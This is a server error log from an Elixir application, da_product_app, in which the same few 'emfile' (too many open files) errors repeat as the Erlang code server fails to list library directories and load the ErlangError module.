[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.831000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.832000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.832000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.832000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.832000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.833000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.833000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.833000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.833000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.833000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.834000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.835000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.836000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.837000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.838000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.839000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.839000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.839000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.840000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.841000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.841000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.842000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.842000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.843000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.ErlangError.beam. Function: get_file. Process: code_server."]
